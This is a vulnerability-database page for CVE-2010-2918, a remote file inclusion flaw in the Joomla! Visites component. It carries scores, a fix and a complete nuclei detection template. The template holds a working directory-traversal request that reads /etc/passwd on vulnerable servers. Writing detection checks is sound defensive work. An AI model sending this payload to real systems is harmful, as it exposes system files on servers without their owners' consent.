HexBrain

Browse / CVEs / CVE-2010-2918

CVE-2010-2918· visocrea / com joomla visites· CWE-94

Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion

highseverity
7.5CVSS score
13.7%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

A PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites (com_joomla-visites) component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.

Impact

Remote file inclusion vulnerability in Joomla! Component Visites 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../e…
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-2918 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2010-2918

info:
  name: Joomla! Component Visites 1.1 - MosConfig_absolute_path Remote File Inclusion
  author: daffainfo
  severity: high
  description: A PHP remote file inclusion vulnerability in core/include/myMailer.class.php in the Visites (com_joomla-visites) component 1.1 RC2 for Joomla! allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
  impact: |
    Remote file inclusion vulnerability in Joomla! Component Visites 1.1 allows remote attackers to execute arbitrary PHP code via a URL in the mosConfig_absolute_path parameter.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/31708
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2918
    - https://www.exploit-db.com/exploits/14476
    - http://www.vupen.com/english/advisories/2010/1925
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/42025
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-2918
    cwe-id: CWE-94
    epss-score: 0.13704
    epss-percentile: 0.96526
    cpe: cpe:2.3:a:visocrea:com_joomla_visites:1.1:rc2:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: visocrea
    product: com_joomla_visites
  tags: cve,cve2010,joomla,lfi,edb,visocrea,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from